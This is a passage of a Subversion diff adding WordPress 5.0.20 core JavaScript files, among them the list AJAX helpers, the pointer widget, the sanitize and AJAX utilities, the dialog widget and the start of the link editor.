+			settings.data += '&' + formData;
+		}
+
+		if ( $.isFunction( settings.addBefore ) ) {
+			settings = settings.addBefore( settings );
+
+			if ( ! settings ) {
+				return true;
+			}
+		}
+
+		if ( ! settings.data.match( /_ajax_nonce=[a-f0-9]+/ ) ) {
+			return true;
+		}
+
+		settings.success = function( response ) {
+			parsedResponse   = wpAjax.parseAjaxResponse( response, settings.response, settings.element );
+			returnedResponse = response;
+
+			if ( ! parsedResponse || parsedResponse.errors ) {
+				return false;
+			}
+
+			if ( true === parsedResponse ) {
+				return true;
+			}
+
+			$.each( parsedResponse.responses, function() {
+				wpList.add.call( list, this.data, $.extend( {}, settings, { // this.firstChild.nodevalue
+					position: this.position || 0,
+					id:       this.id || 0,
+					oldId:    this.oldId || null
+				} ) );
+			} );
+
+			list.wpList.recolor();
+			$( list ).trigger( 'wpListAddEnd', [ settings, list.wpList ] );
+			wpList.clear.call( list, '#' + settings.element );
+		};
+
+		settings.complete = function( jqXHR, status ) {
+			if ( $.isFunction( settings.addAfter ) ) {
+				settings.addAfter( returnedResponse, $.extend( {
+					xml:    jqXHR,
+					status: status,
+					parsed: parsedResponse
+				}, settings ) );
+			}
+		};
+
+		$.ajax( settings );
+
+		return false;
+	},
+
+	/**
+	 * Delete an item in the list via AJAX.
+	 *
+	 * @param {HTMLElement} element  A DOM element containing item data.
+	 * @param {object}      settings Settings for this list.
+	 * @returns {boolean} Whether the item was deleted.
+	 */
+	ajaxDel: function( element, settings ) {
+		var list     = this,
+			$element = $( element ),
+			data     = wpList.parseData( $element, 'delete' ),
+			$eventTarget, parsedResponse, returnedResponse;
+
+		settings = settings || {};
+		settings = wpList.pre.call( list, $element, settings, 'delete' );
+
+		settings.element  = data[2] || settings.element || null;
+		settings.delColor = data[3] ? '#' + data[3] : settings.delColor;
+
+		if ( ! settings || ! settings.element ) {
+			return false;
+		}
+
+		settings.action = 'delete-' + settings.what;
+		settings.nonce  = wpList.nonce( $element, settings );
+
+		settings.data = $.extend( {
+			_ajax_nonce: settings.nonce,
+			action:      settings.action,
+			id:          settings.element.split( '-' ).pop()
+		}, wpAjax.unserialize( data[4] || '' ) );
+
+		if ( $.isFunction( settings.delBefore ) ) {
+			settings = settings.delBefore( settings, list );
+
+			if ( ! settings ) {
+				return true;
+			}
+		}
+
+		if ( ! settings.data._ajax_nonce ) {
+			return true;
+		}
+
+		$eventTarget = $( '#' + settings.element );
+
+		if ( 'none' !== settings.delColor ) {
+			$eventTarget.css( 'backgroundColor', settings.delColor ).fadeOut( 350, function() {
+				list.wpList.recolor();
+				$( list ).trigger( 'wpListDelEnd', [ settings, list.wpList ] );
+			} );
+		} else {
+			list.wpList.recolor();
+			$( list ).trigger( 'wpListDelEnd', [ settings, list.wpList ] );
+		}
+
+		settings.success = function( response ) {
+			parsedResponse   = wpAjax.parseAjaxResponse( response, settings.response, settings.element );
+			returnedResponse = response;
+
+			if ( ! parsedResponse || parsedResponse.errors ) {
+				$eventTarget.stop().stop().css( 'backgroundColor', '#faa' ).show().queue( function() {
+					list.wpList.recolor();
+					$( this ).dequeue();
+				} );
+
+				return false;
+			}
+		};
+
+		settings.complete = function( jqXHR, status ) {
+			if ( $.isFunction( settings.delAfter ) ) {
+				$eventTarget.queue( function() {
+					settings.delAfter( returnedResponse, $.extend( {
+						xml:    jqXHR,
+						status: status,
+						parsed: parsedResponse
+					}, settings ) );
+				} ).dequeue();
+			}
+		};
+
+		$.ajax( settings );
+
+		return false;
+	},
+
+	/**
+	 * Dim an item in the list via AJAX.
+	 *
+	 * @param {HTMLElement} element  A DOM element containing item data.
+	 * @param {object}      settings Settings for this list.
+	 * @returns {boolean} Whether the item was dim'ed.
+	 */
+	ajaxDim: function( element, settings ) {
+		var list     = this,
+			$element = $( element ),
+			data     = wpList.parseData( $element, 'dim' ),
+			$eventTarget, isClass, color, dimColor, parsedResponse, returnedResponse;
+
+		// Prevent hidden links from being clicked by hotkeys.
+		if ( 'none' === $element.parent().css( 'display' ) ) {
+			return false;
+		}
+
+		settings = settings || {};
+		settings = wpList.pre.call( list, $element, settings, 'dim' );
+
+		settings.element     = data[2] || settings.element || null;
+		settings.dimClass    = data[3] || settings.dimClass || null;
+		settings.dimAddColor = data[4] ? '#' + data[4] : settings.dimAddColor;
+		settings.dimDelColor = data[5] ? '#' + data[5] : settings.dimDelColor;
+
+		if ( ! settings || ! settings.element || ! settings.dimClass ) {
+			return true;
+		}
+
+		settings.action = 'dim-' + settings.what;
+		settings.nonce  = wpList.nonce( $element, settings );
+
+		settings.data = $.extend( {
+			_ajax_nonce: settings.nonce,
+			action:      settings.action,
+			id:          settings.element.split( '-' ).pop(),
+			dimClass:    settings.dimClass
+		}, wpAjax.unserialize( data[6] || '' ) );
+
+		if ( $.isFunction( settings.dimBefore ) ) {
+			settings = settings.dimBefore( settings );
+
+			if ( ! settings ) {
+				return true;
+			}
+		}
+
+		$eventTarget = $( '#' + settings.element );
+		isClass      = $eventTarget.toggleClass( settings.dimClass ).is( '.' + settings.dimClass );
+		color        = wpList.getColor( $eventTarget );
+		dimColor     = isClass ? settings.dimAddColor : settings.dimDelColor;
+		$eventTarget.toggleClass( settings.dimClass );
+
+		if ( 'none' !== dimColor ) {
+			$eventTarget
+				.animate( { backgroundColor: dimColor }, 'fast' )
+				.queue( function() {
+					$eventTarget.toggleClass( settings.dimClass );
+					$( this ).dequeue();
+				} )
+				.animate( { backgroundColor: color }, {
+					complete: function() {
+						$( this ).css( 'backgroundColor', '' );
+						$( list ).trigger( 'wpListDimEnd', [ settings, list.wpList ] );
+					}
+				} );
+		} else {
+			$( list ).trigger( 'wpListDimEnd', [ settings, list.wpList ] );
+		}
+
+		if ( ! settings.data._ajax_nonce ) {
+			return true;
+		}
+
+		settings.success = function( response ) {
+			parsedResponse   = wpAjax.parseAjaxResponse( response, settings.response, settings.element );
+			returnedResponse = response;
+
+			if ( true === parsedResponse ) {
+				return true;
+			}
+
+			if ( ! parsedResponse || parsedResponse.errors ) {
+				$eventTarget.stop().stop().css( 'backgroundColor', '#ff3333' )[isClass ? 'removeClass' : 'addClass']( settings.dimClass ).show().queue( function() {
+					list.wpList.recolor();
+					$( this ).dequeue();
+				} );
+
+				return false;
+			}
+
+			/** @property {string} comment_link Link of the comment to be dimmed. */
+			if ( 'undefined' !== typeof parsedResponse.responses[0].supplemental.comment_link ) {
+				var $submittedOn = $element.find( '.submitted-on' ),
+					$commentLink = $submittedOn.find( 'a' );
+
+				// Comment is approved; link the date field.
+				if ( '' !== parsedResponse.responses[0].supplemental.comment_link ) {
+					$submittedOn.html( $('<a></a>').text( $submittedOn.text() ).prop( 'href', parsedResponse.responses[0].supplemental.comment_link ) );
+
+				// Comment is not approved; unlink the date field.
+				} else if ( $commentLink.length ) {
+					$submittedOn.text( $commentLink.text() );
+				}
+			}
+		};
+
+		settings.complete = function( jqXHR, status ) {
+			if ( $.isFunction( settings.dimAfter ) ) {
+				$eventTarget.queue( function() {
+					settings.dimAfter( returnedResponse, $.extend( {
+						xml:    jqXHR,
+						status: status,
+						parsed: parsedResponse
+					}, settings ) );
+				} ).dequeue();
+			}
+		};
+
+		$.ajax( settings );
+
+		return false;
+	},
+
+	/**
+	 * Returns the background color of the passed element.
+	 *
+	 * @param {jQuery|string} element Element to check.
+	 * @returns {string} Background color value in HEX. Default: '#ffffff'.
+	 */
+	getColor: function( element ) {
+		return $( element ).css( 'backgroundColor' ) || '#ffffff';
+	},
+
+	/**
+	 * Adds something.
+	 *
+	 * @param {HTMLElement} element  A DOM element containing item data.
+	 * @param {object}      settings Settings for this list.
+	 * @returns {boolean} Whether the item was added.
+	 */
+	add: function( element, settings ) {
+		var $list    = $( this ),
+			$element = $( element ),
+			old      = false,
+			position, reference;
+
+		if ( 'string' === typeof settings ) {
+			settings = { what: settings };
+		}
+
+		settings = $.extend( { position: 0, id: 0, oldId: null }, this.wpList.settings, settings );
+
+		if ( ! $element.length || ! settings.what ) {
+			return false;
+		}
+
+		if ( settings.oldId ) {
+			old = $( '#' + settings.what + '-' + settings.oldId );
+		}
+
+		if ( settings.id && ( settings.id !== settings.oldId || ! old || ! old.length ) ) {
+			$( '#' + settings.what + '-' + settings.id ).remove();
+		}
+
+		if ( old && old.length ) {
+			old.before( $element );
+			old.remove();
+
+		} else if ( isNaN( settings.position ) ) {
+			position = 'after';
+
+			if ( '-' === settings.position.substr( 0, 1 ) ) {
+				settings.position = settings.position.substr( 1 );
+				position = 'before';
+			}
+
+			reference = $list.find( '#' + settings.position );
+
+			if ( 1 === reference.length ) {
+				reference[position]( $element );
+			} else {
+				$list.append( $element );
+			}
+
+		} else if ( 'comment' !== settings.what || 0 === $( '#' + settings.element ).length ) {
+			if ( settings.position < 0 ) {
+				$list.prepend( $element );
+			} else {
+				$list.append( $element );
+			}
+		}
+
+		if ( settings.alt ) {
+			$element.toggleClass( settings.alt, ( $list.children( ':visible' ).index( $element[0] ) + settings.altOffset ) % 2 );
+		}
+
+		if ( 'none' !== settings.addColor ) {
+			$element.css( 'backgroundColor', settings.addColor ).animate( { backgroundColor: wpList.getColor( $element ) }, {
+				complete: function() {
+					$( this ).css( 'backgroundColor', '' );
+				}
+			} );
+		}
+
+		// Add event handlers.
+		$list.each( function( index, list ) {
+			list.wpList.process( $element );
+		} );
+
+		return $element;
+	},
+
+	/**
+	 * Clears all input fields within the element passed.
+	 *
+	 * @param {string} elementId ID of the element to check, including leading #.
+	 */
+	clear: function( elementId ) {
+		var list     = this,
+			$element = $( elementId ),
+			type, tagName;
+
+		// Bail if we're within the list.
+		if ( list.wpList && $element.parents( '#' + list.id ).length ) {
+			return;
+		}
+
+		// Check each input field.
+		$element.find( ':input' ).each( function( index, input ) {
+
+			// Bail if the form was marked to not to be cleared.
+			if ( $( input ).parents( '.form-no-clear' ).length ) {
+				return;
+			}
+
+			type    = input.type.toLowerCase();
+			tagName = input.tagName.toLowerCase();
+
+			if ( 'text' === type || 'password' === type || 'textarea' === tagName ) {
+				input.value = '';
+
+			} else if ( 'checkbox' === type || 'radio' === type ) {
+				input.checked = false;
+
+			} else if ( 'select' === tagName ) {
+				input.selectedIndex = null;
+			}
+		} );
+	},
+
+	/**
+	 * Registers event handlers to add, delete, and dim items.
+	 *
+	 * @param {string} elementId
+	 */
+	process: function( elementId ) {
+		var list     = this,
+			$element = $( elementId || document );
+
+		$element.on( 'submit', 'form[data-wp-lists^="add:' + list.id + ':"]', function() {
+			return list.wpList.add( this );
+		} );
+
+		$element.on( 'click', 'a[data-wp-lists^="add:' + list.id + ':"], input[data-wp-lists^="add:' + list.id + ':"]', function() {
+			return list.wpList.add( this );
+		} );
+
+		$element.on( 'click', '[data-wp-lists^="delete:' + list.id + ':"]', function() {
+			return list.wpList.del( this );
+		} );
+
+		$element.on( 'click', '[data-wp-lists^="dim:' + list.id + ':"]', function() {
+			return list.wpList.dim( this );
+		} );
+	},
+
+	/**
+	 * Updates list item background colors.
+	 */
+	recolor: function() {
+		var list    = this,
+			evenOdd = [':even', ':odd'],
+			items;
+
+		// Bail if there is no alternate class name specified.
+		if ( ! list.wpList.settings.alt ) {
+			return;
+		}
+
+		items = $( '.list-item:visible', list );
+
+		if ( ! items.length ) {
+			items = $( list ).children( ':visible' );
+		}
+
+		if ( list.wpList.settings.altOffset % 2 ) {
+			evenOdd.reverse();
+		}
+
+		items.filter( evenOdd[0] ).addClass( list.wpList.settings.alt ).end();
+		items.filter( evenOdd[1] ).removeClass( list.wpList.settings.alt );
+	},
+
+	/**
+	 * Sets up `process()` and `recolor()` functions.
+	 */
+	init: function() {
+		var $list = this;
+
+		$list.wpList.process = function( element ) {
+			$list.each( function() {
+				this.wpList.process( element );
+			} );
+		};
+
+		$list.wpList.recolor = function() {
+			$list.each( function() {
+				this.wpList.recolor();
+			} );
+		};
+	}
+};
+
+/**
+ * Initializes wpList object.
+ *
+ * @param {Object}           settings
+ * @param {string}           settings.url         URL for ajax calls. Default: ajaxurl.
+ * @param {string}           settings.type        The HTTP method to use for Ajax requests. Default: 'POST'.
+ * @param {string}           settings.response    ID of the element the parsed ajax response will be stored in.
+ *                                                Default: 'ajax-response'.
+ *
+ * @param {string}           settings.what        Default: ''.
+ * @param {string}           settings.alt         CSS class name for alternate styling. Default: 'alternate'.
+ * @param {number}           settings.altOffset   Offset to start alternate styling from. Default: 0.
+ * @param {string}           settings.addColor    Hex code or 'none' to disable animation. Default: '#ffff33'.
+ * @param {string}           settings.delColor    Hex code or 'none' to disable animation. Default: '#faafaa'.
+ * @param {string}           settings.dimAddColor Hex code or 'none' to disable animation. Default: '#ffff33'.
+ * @param {string}           settings.dimDelColor Hex code or 'none' to disable animation. Default: '#ff3333'.
+ *
+ * @param {wpList~confirm}   settings.confirm     Callback that's run before a request is made. Default: null.
+ * @param {wpList~addBefore} settings.addBefore   Callback that's run before an item gets added to the list.
+ *                                                Default: null.
+ * @param {wpList~addAfter}  settings.addAfter    Callback that's run after an item got added to the list.
+ *                                                Default: null.
+ * @param {wpList~delBefore} settings.delBefore   Callback that's run before an item gets deleted from the list.
+ *                                                Default: null.
+ * @param {wpList~delAfter}  settings.delAfter    Callback that's run after an item got deleted from the list.
+ *                                                Default: null.
+ * @param {wpList~dimBefore} settings.dimBefore   Callback that's run before an item gets dim'd. Default: null.
+ * @param {wpList~dimAfter}  settings.dimAfter    Callback that's run after an item got dim'd. Default: null.
+ * @returns {$.fn} wpList API function.
+ */
+$.fn.wpList = function( settings ) {
+	this.each( function( index, list ) {
+		list.wpList = {
+			settings: $.extend( {}, wpList.settings, { what: wpList.parseData( list, 'list' )[1] || '' }, settings )
+		};
+
+		$.each( functions, function( func, callback ) {
+			list.wpList[func] = function( element, setting ) {
+				return wpList[callback].call( list, element, setting );
+			};
+		} );
+	} );
+
+	wpList.init.call( this );
+	this.wpList.process();
+
+	return this;
+};
+} ) ( jQuery );
Index: /tags/5.0.20/src/wp-includes/js/wp-pointer.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-pointer.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-pointer.js	(revision 56912)
@@ -0,0 +1,285 @@
+/* global wpPointerL10n */
+/**
+ * Pointer jQuery widget.
+ */
+(function($){
+	var identifier = 0,
+		zindex = 9999;
+
+	/**
+	 * @class $.widget.wp.pointer
+	 */
+	$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
+		options: {
+			pointerClass: 'wp-pointer',
+			pointerWidth: 320,
+			content: function() {
+				return $(this).text();
+			},
+			buttons: function( event, t ) {
+				var close  = ( wpPointerL10n ) ? wpPointerL10n.dismiss : 'Dismiss',
+					button = $('<a class="close" href="#">' + close + '</a>');
+
+				return button.bind( 'click.pointer', function(e) {
+					e.preventDefault();
+					t.element.pointer('close');
+				});
+			},
+			position: 'top',
+			show: function( event, t ) {
+				t.pointer.show();
+				t.opened();
+			},
+			hide: function( event, t ) {
+				t.pointer.hide();
+				t.closed();
+			},
+			document: document
+		},
+
+		_create: function() {
+			var positioning,
+				family;
+
+			this.content = $('<div class="wp-pointer-content"></div>');
+			this.arrow   = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');
+
+			family = this.element.parents().add( this.element );
+			positioning = 'absolute';
+
+			if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
+				positioning = 'fixed';
+
+			this.pointer = $('<div />')
+				.append( this.content )
+				.append( this.arrow )
+				.attr('id', 'wp-pointer-' + identifier++)
+				.addClass( this.options.pointerClass )
+				.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
+				.appendTo( this.options.document.body );
+		},
+
+		_setOption: function( key, value ) {
+			var o   = this.options,
+				tip = this.pointer;
+
+			// Handle document transfer
+			if ( key === 'document' && value !== o.document ) {
+				tip.detach().appendTo( value.body );
+
+			// Handle class change
+			} else if ( key === 'pointerClass' ) {
+				tip.removeClass( o.pointerClass ).addClass( value );
+			}
+
+			// Call super method.
+			$.Widget.prototype._setOption.apply( this, arguments );
+
+			// Reposition automatically
+			if ( key === 'position' ) {
+				this.reposition();
+
+			// Update content automatically if pointer is open
+			} else if ( key === 'content' && this.active ) {
+				this.update();
+			}
+		},
+
+		destroy: function() {
+			this.pointer.remove();
+			$.Widget.prototype.destroy.call( this );
+		},
+
+		widget: function() {
+			return this.pointer;
+		},
+
+		update: function( event ) {
+			var self = this,
+				o    = this.options,
+				dfd  = $.Deferred(),
+				content;
+
+			if ( o.disabled )
+				return;
+
+			dfd.done( function( content ) {
+				self._update( event, content );
+			});
+
+			// Either o.content is a string...
+			if ( typeof o.content === 'string' ) {
+				content = o.content;
+
+			// ...or o.content is a callback.
+			} else {
+				content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
+			}
+
+			// If content is set, then complete the update.
+			if ( content )
+				dfd.resolve( content );
+
+			return dfd.promise();
+		},
+
+		/**
+		 * Update is separated into two functions to allow events to defer
+		 * updating the pointer (e.g. fetch content with ajax, etc).
+		 */
+		_update: function( event, content ) {
+			var buttons,
+				o = this.options;
+
+			if ( ! content )
+				return;
+
+			this.pointer.stop(); // Kill any animations on the pointer.
+			this.content.html( content );
+
+			buttons = o.buttons.call( this.element[0], event, this._handoff() );
+			if ( buttons ) {
+				buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
+			}
+
+			this.reposition();
+		},
+
+		reposition: function() {
+			var position;
+
+			if ( this.options.disabled )
+				return;
+
+			position = this._processPosition( this.options.position );
+
+			// Reposition pointer.
+			this.pointer.css({
+				top: 0,
+				left: 0,
+				zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
+			}).show().position($.extend({
+				of: this.element,
+				collision: 'fit none'
+			}, position )); // the object comes before this.options.position so the user can override position.of.
+
+			this.repoint();
+		},
+
+		repoint: function() {
+			var o = this.options,
+				edge;
+
+			if ( o.disabled )
+				return;
+
+			edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;
+
+			// Remove arrow classes.
+			this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );
+
+			// Add arrow class.
+			this.pointer.addClass( 'wp-pointer-' + edge );
+		},
+
+		_processPosition: function( position ) {
+			var opposite = {
+					top: 'bottom',
+					bottom: 'top',
+					left: 'right',
+					right: 'left'
+				},
+				result;
+
+			// If the position object is a string, it is shorthand for position.edge.
+			if ( typeof position == 'string' ) {
+				result = {
+					edge: position + ''
+				};
+			} else {
+				result = $.extend( {}, position );
+			}
+
+			if ( ! result.edge )
+				return result;
+
+			if ( result.edge == 'top' || result.edge == 'bottom' ) {
+				result.align = result.align || 'left';
+
+				result.at = result.at || result.align + ' ' + opposite[ result.edge ];
+				result.my = result.my || result.align + ' ' + result.edge;
+			} else {
+				result.align = result.align || 'top';
+
+				result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
+				result.my = result.my || result.edge + ' ' + result.align;
+			}
+
+			return result;
+		},
+
+		open: function( event ) {
+			var self = this,
+				o    = this.options;
+
+			if ( this.active || o.disabled || this.element.is(':hidden') )
+				return;
+
+			this.update().done( function() {
+				self._open( event );
+			});
+		},
+
+		_open: function( event ) {
+			var self = this,
+				o    = this.options;
+
+			if ( this.active || o.disabled || this.element.is(':hidden') )
+				return;
+
+			this.active = true;
+
+			this._trigger( 'open', event, this._handoff() );
+
+			this._trigger( 'show', event, this._handoff({
+				opened: function() {
+					self._trigger( 'opened', event, self._handoff() );
+				}
+			}));
+		},
+
+		close: function( event ) {
+			if ( !this.active || this.options.disabled )
+				return;
+
+			var self = this;
+			this.active = false;
+
+			this._trigger( 'close', event, this._handoff() );
+			this._trigger( 'hide', event, this._handoff({
+				closed: function() {
+					self._trigger( 'closed', event, self._handoff() );
+				}
+			}));
+		},
+
+		sendToTop: function() {
+			if ( this.active )
+				this.pointer.css( 'z-index', zindex++ );
+		},
+
+		toggle: function( event ) {
+			if ( this.pointer.is(':hidden') )
+				this.open( event );
+			else
+				this.close( event );
+		},
+
+		_handoff: function( extend ) {
+			return $.extend({
+				pointer: this.pointer,
+				element: this.element
+			}, extend);
+		}
+	});
+})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/wp-sanitize.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-sanitize.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-sanitize.js	(revision 56912)
@@ -0,0 +1,47 @@
+( function () {
+
+	window.wp = window.wp || {};
+
+	/**
+	 * wp.sanitize
+	 *
+	 * Helper functions to sanitize strings.
+	 */
+	wp.sanitize = {
+
+		/**
+		 * Strip HTML tags.
+		 *
+		 * @param {string} text Text to have the HTML tags striped out of.
+		 *
+		 * @return  Stripped text.
+		 */
+		stripTags: function( text ) {
+			text = text || '';
+
+			return text
+				.replace( /<!--[\s\S]*?(-->|$)/g, '' )
+				.replace( /<(script|style)[^>]*>[\s\S]*?(<\/\1>|$)/ig, '' )
+				.replace( /<\/?[a-z][\s\S]*?(>|$)/ig, '' );
+		},
+
+		/**
+		 * Strip HTML tags and convert HTML entities.
+		 *
+		 * @param {string} text Text to strip tags and convert HTML entities.
+		 *
+		 * @return Sanitized text. False on failure.
+		 */
+		stripTagsAndEncodeText: function( text ) {
+			var _text = wp.sanitize.stripTags( text ),
+				textarea = document.createElement( 'textarea' );
+
+			try {
+				textarea.innerHTML = _text;
+				_text = wp.sanitize.stripTags( textarea.value );
+			} catch ( er ) {}
+
+			return _text;
+		}
+	};
+}() );
Index: /tags/5.0.20/src/wp-includes/js/wp-util.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-util.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-util.js	(revision 56912)
@@ -0,0 +1,126 @@
+/* global _wpUtilSettings */
+
+/** @namespace wp */
+window.wp = window.wp || {};
+
+(function ($) {
+	// Check for the utility settings.
+	var settings = typeof _wpUtilSettings === 'undefined' ? {} : _wpUtilSettings;
+
+	/**
+	 * wp.template( id )
+	 *
+	 * Fetch a JavaScript template for an id, and return a templating function for it.
+	 *
+	 * @param  {string} id   A string that corresponds to a DOM element with an id prefixed with "tmpl-".
+	 *                       For example, "attachment" maps to "tmpl-attachment".
+	 * @return {function}    A function that lazily-compiles the template requested.
+	 */
+	wp.template = _.memoize(function ( id ) {
+		var compiled,
+			/*
+			 * Underscore's default ERB-style templates are incompatible with PHP
+			 * when asp_tags is enabled, so WordPress uses Mustache-inspired templating syntax.
+			 *
+			 * @see trac ticket #22344.
+			 */
+			options = {
+				evaluate:    /<#([\s\S]+?)#>/g,
+				interpolate: /\{\{\{([\s\S]+?)\}\}\}/g,
+				escape:      /\{\{([^\}]+?)\}\}(?!\})/g,
+				variable:    'data'
+			};
+
+		return function ( data ) {
+			compiled = compiled || _.template( $( '#tmpl-' + id ).html(),  options );
+			return compiled( data );
+		};
+	});
+
+	// wp.ajax
+	// ------
+	//
+	// Tools for sending ajax requests with JSON responses and built in error handling.
+	// Mirrors and wraps jQuery's ajax APIs.
+	wp.ajax = {
+		settings: settings.ajax || {},
+
+		/**
+		 * wp.ajax.post( [action], [data] )
+		 *
+		 * Sends a POST request to WordPress.
+		 *
+		 * @param  {(string|object)} action  The slug of the action to fire in WordPress or options passed
+		 *                                   to jQuery.ajax.
+		 * @param  {object=}         data    Optional. The data to populate $_POST with.
+		 * @return {$.promise}     A jQuery promise that represents the request,
+		 *                         decorated with an abort() method.
+		 */
+		post: function( action, data ) {
+			return wp.ajax.send({
+				data: _.isObject( action ) ? action : _.extend( data || {}, { action: action })
+			});
+		},
+
+		/**
+		 * wp.ajax.send( [action], [options] )
+		 *
+		 * Sends a POST request to WordPress.
+		 *
+		 * @param  {(string|object)} action  The slug of the action to fire in WordPress or options passed
+		 *                                   to jQuery.ajax.
+		 * @param  {object=}         options Optional. The options passed to jQuery.ajax.
+		 * @return {$.promise}      A jQuery promise that represents the request,
+		 *                          decorated with an abort() method.
+		 */
+		send: function( action, options ) {
+			var promise, deferred;
+			if ( _.isObject( action ) ) {
+				options = action;
+			} else {
+				options = options || {};
+				options.data = _.extend( options.data || {}, { action: action });
+			}
+
+			options = _.defaults( options || {}, {
+				type:    'POST',
+				url:     wp.ajax.settings.url,
+				context: this
+			});
+
+			deferred = $.Deferred( function( deferred ) {
+				// Transfer success/error callbacks.
+				if ( options.success )
+					deferred.done( options.success );
+				if ( options.error )
+					deferred.fail( options.error );
+
+				delete options.success;
+				delete options.error;
+
+				// Use with PHP's wp_send_json_success() and wp_send_json_error()
+				deferred.jqXHR = $.ajax( options ).done( function( response ) {
+					// Treat a response of 1 as successful for backward compatibility with existing handlers.
+					if ( response === '1' || response === 1 )
+						response = { success: true };
+
+					if ( _.isObject( response ) && ! _.isUndefined( response.success ) )
+						deferred[ response.success ? 'resolveWith' : 'rejectWith' ]( this, [response.data] );
+					else
+						deferred.rejectWith( this, [response] );
+				}).fail( function() {
+					deferred.rejectWith( this, arguments );
+				});
+			});
+
+			promise = deferred.promise();
+			promise.abort = function() {
+				deferred.jqXHR.abort();
+				return this;
+			};
+
+			return promise;
+		}
+	};
+
+}(jQuery));
Index: /tags/5.0.20/src/wp-includes/js/wpdialog.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wpdialog.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wpdialog.js	(revision 56912)
@@ -0,0 +1,19 @@
+( function($) {
+	$.widget('wp.wpdialog', $.ui.dialog, {
+		open: function() {
+			// Add beforeOpen event.
+			if ( this.isOpen() || false === this._trigger('beforeOpen') ) {
+				return;
+			}
+
+			// Open the dialog.
+			this._super();
+			// WebKit leaves focus in the TinyMCE editor unless we shift focus.
+			this.element.focus();
+			this._trigger('refresh');
+		}
+	});
+
+	$.wp.wpdialog.prototype.options.closeOnEscape = false;
+
+})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/wplink.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wplink.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wplink.js	(revision 56912)
@@ -0,0 +1,794 @@
+var wpLink;
+
+( function( $, wpLinkL10n, wp ) {
+	var editor, searchTimer, River, Query, correctedURL, linkNode,
+		emailRegexp = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,63}$/i,
+		urlRegexp = /^(https?|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,63}[^ "]*$/i,
+		inputs = {},
+		rivers = {},
+		isTouch = ( 'ontouchend' in document );
+
+	function getLink() {
+		return linkNode || editor.dom.getParent( editor.selection.getNode(), 'a[href]' );
+	}
+
+	wpLink = {
+		timeToTriggerRiver: 150,
+		minRiverAJAXDuration: 200,
+		riverBottomThreshold: 5,
+		keySensitivity: 100,
+		lastSearch: '',
+		textarea: '',
+		modalOpen: false,
+
+		init: function() {
+			inputs.wrap = $('#wp-link-wrap');
+			inputs.dialog = $( '#wp-link' );
+			inputs.backdrop = $( '#wp-link-backdrop' );
+			inputs.submit = $( '#wp-link-submit' );
+			inputs.close = $( '#wp-link-close' );
+
+			// Input
+			inputs.text = $( '#wp-link-text' );
+			inputs.url = $( '#wp-link-url' );
+			inputs.nonce = $( '#_ajax_linking_nonce' );
+			inputs.openInNewTab = $( '#wp-link-target' );
+			inputs.search = $( '#wp-link-search' );
+
+			// Build Rivers
+			rivers.search = new River( $( '#search-results' ) );
+			rivers.recent = new River( $( '#most-recent-results' ) );
+			rivers.elements = inputs.dialog.find( '.query-results' );
+
+			// Get search notice text
+			inputs.queryNotice = $( '#query-notice-message' );
+			inputs.queryNoticeTextDefault = inputs.queryNotice.find( '.query-notice-default' );
+			inputs.queryNoticeTextHint = inputs.queryNotice.find( '.query-notice-hint' );
+
+			// Bind event handlers
+			inputs.dialog.keydown( wpLink.keydown );
+			inputs.dialog.keyup( wpLink.keyup );
+			inputs.submit.click( function( event ) {
+				event.preventDefault();
+				wpLink.update();
+			});
+
+			inputs.close.add( inputs.backdrop ).add( '#wp-link-cancel button' ).click( function( event ) {
+				event.preventDefault();
+				wpLink.close();
+			});
+
+			rivers.elements.on( 'river-select', wpLink.updateFields );
+
+			// Display 'hint' message when search field or 'query-results' box are focused
+			inputs.search.on( 'focus.wplink', function() {
+				inputs.queryNoticeTextDefault.hide();
+				inputs.queryNoticeTextHint.removeClass( 'screen-reader-text' ).show();
+			} ).on( 'blur.wplink', function() {
+				inputs.queryNoticeTextDefault.show();
+				inputs.queryNoticeTextHint.addClass( 'screen-reader-text' ).hide();
+			} );
+
+			inputs.search.on( 'keyup input', function() {
+				window.clearTimeout( searchTimer );
+				searchTimer = window.setTimeout( function() {
+					wpLink.searchInternalLinks();
+				}, 500 );
+			});
+
+			inputs.url.on( 'paste', function() {
+				setTimeout( wpLink.correctURL, 0 );
+			} );
+
+			inputs.url.on( 'blur', wpLink.correctURL );
+		},
+
+		// If URL wasn't corrected last time and doesn't start with http:, https:, ? # or /, prepend http://
+		correctURL: function () {
+			var url = $.trim( inputs.url.val() );
+
+			if ( url && correctedURL !== url && ! /^(?:[a-z]+:|#|\?|\.|\/)/.test( url ) ) {
+				inputs.url.val( 'http://' + url );
+				correctedURL = url;
+			}
+		},
+
+		open: function( editorId, url, text, node ) {
+			var ed,
+				$body = $( document.body );
+
+			$body.addClass( 'modal-open' );
+			wpLink.modalOpen = true;
+			linkNode = node;
+
+			wpLink.range = null;
+
+			if ( editorId ) {
+				window.wpActiveEditor = editorId;
+			}
+
+			if ( ! window.wpActiveEditor ) {
+				return;
+			}
+
+			this.textarea = $( '#' + window.wpActiveEditor ).get( 0 );
+
+			if ( typeof window.tinymce !== 'undefined' ) {
+				// Make sure the link wrapper is the last element in the body,
+				// or the inline editor toolbar may show above the backdrop.
+				$body.append( inputs.backdrop, inputs.wrap );
+
